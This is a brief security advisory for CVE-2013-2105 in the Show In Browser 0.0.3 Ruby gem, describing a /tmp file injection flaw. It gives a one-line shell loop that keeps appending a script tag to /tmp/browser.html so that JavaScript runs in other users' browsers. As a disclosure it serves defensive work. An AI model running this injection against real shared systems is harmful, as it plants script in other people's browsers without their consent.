Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability
CVE ID(s):
CVE-2013-2105
Notified: 2013-05-23
Description:
Opens arbitrary text in your browser.
Exploit:
nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done
Will pop up a java script alert in other gem users browser.
Notes:
93490